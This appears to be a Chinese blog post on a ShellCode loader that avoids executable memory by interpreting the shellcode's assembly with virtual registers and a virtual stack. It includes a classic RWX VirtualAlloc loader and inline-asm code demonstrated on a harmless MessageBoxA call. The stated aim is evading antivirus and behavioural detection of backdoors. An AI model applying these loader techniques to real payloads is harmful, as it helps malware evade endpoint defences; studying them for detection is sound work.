1. 介绍 无需解密,无需 X 内存,直接加载运行 R 内存中的 ShellCode 密文。 x64 项目: https://github.com/HackerCalico/No_X_Memory_ShellCode_Loader 2. 常规 ShellCode 加载器 在大家刚开始学习 ShellCode 的时候,通常不明白 ShellCode 本身是什么,而是仅仅学习了以下加载器的写法: unsigned char buf[] = "ShellCode 密文";
void* p = VirtualAlloc(NULL, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof buf);
// ShellCode 解密
((void(*)())p)();
上述加载器直接将 ShellCode 密文写入 RWX (可读可写可执行) 内存解密,进而调用。此时进程内存中出现了少见且敏感的 RWX 内存空间,容易被查杀。 为了避免使用 RWX 内存属性,大家开始先将 ShellCode 密文写入 RW 内存解密,再将内存属性改为 RX 运行。如果 Hook CS 直接生成的后门程序,就会发现在执行一些敏感功能时,后门采取了这种来回修改内存属性的操作,容易被行为查杀。 于是我开始思考是否存在完全规避以上问题的方法。 3. ShellCode 作用原理 为了找到新的 ShellCode 加载方式,我决定深入了解 ShellCode。 ShellCode 是一段地址无关机器码。机器码就是代码对应的汇编指令的硬编码,通常存在于程序文件的 .text 段中,比如以下 MyMessageBoxA_Not 函数: 该函数的硬编码与汇编指令: 48 83 EC 38 ------> SUB RSP, 0X38
C6 44 24 20 00 ------> MOV BYTE PTR [RSP + 0X20], 0
41 B9 40 00 00 00 ------> MOV R9D, 0X40
4C 8D 44 24 20 ------> LEA R8, [RSP + 0X20]
48 8D 54 24 20 ------> LEA RDX, [RSP + 0X20]
33 C9 ------> XOR ECX, ECX
FF 15 2F 12 00 00 ------> CALL QWORD PTR [RIP + 0X122F]
48 83 C4 38 ------> ADD RSP, 0X38
C3 ------> RET
可以看到通过 Call 指令调用 MessageBoxA 这个 Windows API,但是很明显 MessageBoxA 的地址存储在其他位置,所以如果单独运行这段机器码会运行失败。 ShellCode 地址无关,意味着不直接使用这种外部的地址。实现的方法是,在写代码的过程中不直接调用 Windows API,而是主动获取 Windows API 的地址进行调用,比如以下 MyMessageBoxA 函数: typedef int(WINAPI* pMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
#pragma code_seg(".shell")
void MyMessageBoxA(pMessageBoxA funcMessageBoxA) {
char text[] = { '\0' };
funcMessageBoxA(0, text, text, MB_ICONINFORMATION);
}
#pragma code_seg(".text")
int main() {
MyMessageBoxA(MessageBoxA);
}
该函数使用的 MessageBoxA 的地址通过参数从外部传入,所以该函数的机器码可以作为 ShellCode 直接运行。 4. 新型加载器的实现分析 通过对 ShellCode 深入了解,可以知道 ShellCode 其实就是按照地址无关标准编写的代码对应的汇编指令的硬编码,而汇编指令与硬编码是相对应的。 所以可以说,运行 ShellCode 就是运行其汇编指令,只要实现了其汇编指令的等效功能,就是实现了 ShellCode 的等效运行。 于是当前的研究转化为其汇编指令实现了什么功能。 通过学习汇编语言,可以知道这些汇编指令简单来说就是不断修改寄存器、栈、内存的值,通过不断的修改构造好调用 Windows API 所需的参数,进而成功调用 Windows API。 函数参数的构造过程可以通过上文的 MyMessageBoxA 来简单解释,该函数通过以下代码调用: MyMessageBoxA(MessageBoxA)
该行代码实际上就构造好了函数的参数,其汇编指令: mov rcx,qword ptr [__imp_MessageBoxA]
call MyMessageBoxA
汇编指令将 MessageBoxA 的地址放入了 RCX 寄存器,这就是一个简单的构造过程。复杂的过程比如要对字符串循环解密等,可以统一认为是构造函数参数的过程。 于是当前的研究转化为如何用其他办法构建好 Windows API 的参数来调用。 我想到的办法是实现汇编指令的解释器。解释器是一种逐行对代码进行词法、语法、语义等分析进行运行的程序。 只要我传入汇编指令的文本,解释器逐条指令解析实现对应的功能即可。这里涉及到几个问题。比如解释到 mov rsp, 0x00,此时不应该将真实 RSP 寄存器的值改为 0x00,这样会导致解释器本身错误。解决办法是实现虚拟寄存器和虚拟栈,将虚拟的 vtRSP 改为 0x00。在解释 Windows API 的调用指令时,先将虚拟寄存器的值覆盖真实寄存器,此时 Windows API 的参数为构造完整的状态,之后直接调用 Windows API 即可成功。 下面以 MyMessageBoxA 为例演示解释过程: 该函数的汇编指令: MOV QWORD PTR [RSP + 8], RCX
SUB RSP, 0X38
MOV BYTE PTR [RSP + 0X20], 0
MOV R9D, 0X40
LEA R8, [RSP + 0X20]
LEA RDX, [RSP + 0X20]
XOR ECX, ECX
CALL QWORD PTR [RSP + 0X40]
ADD RSP, 0X38
RET
模拟解释器: 以下代码忽略了汇编指令的解析过程,直接模拟每条指令对虚拟值修改进而构造好 Windows API 的参数,将虚拟值覆盖真实值后成功调用 Windows API。 注:需要配置 Clang 环境以支持 x64 内联汇编。 Visual Studio Installer ------> 单个组件 ------> LLVM (clang-cl) + Clang ------> 安装 Visual Studio ------> 项目属性 ------> 常规 ------> 平台工具集 (LLVM (clang-cl)) // 虚拟栈
PVOID vtStack = malloc(0x10000);
// 虚拟栈顶
DWORD64 vtRSP = (DWORD64)vtStack + 0x9000;
// mov rcx,qword ptr [__imp_MessageBoxA]
DWORD64 vtRCX = (DWORD64)MessageBoxA;
// call MyMessageBoxA
vtRSP -= 8;
// MOV QWORD PTR [RSP + 8], RCX
*(PDWORD64)(vtRSP + 8) = vtRCX;
// SUB RSP, 0x38
vtRSP -= 0x38;
// MOV BYTE PTR [RSP + 0x20], 0
*(PBYTE)(vtRSP + 0x20) = 0;
// MOV R9D, 0x40
DWORD64 vtR9 = 0x40;
// LEA R8, [RSP + 0x20]
DWORD64 vtR8 = vtRSP + 0x20;
// LEA RDX, [RSP + 0x20]
DWORD64 vtRDX = vtRSP + 0x20;
// XOR ECX, ECX
vtRCX ^= vtRCX;
// 虚拟寄存器 覆盖 真实寄存器
__asm {
mov rcx, vtRCX
mov rdx, vtRDX
mov r8, vtR8
mov r9, vtR9
mov rsp, vtRSP
}
// CALL QWORD PTR [RSP + 0x40]
__asm {
call qword ptr[rsp + 0x40]
}
// ADD RSP, 0x38
vtRSP += 0x38;
// RET
vtRSP += 8;
|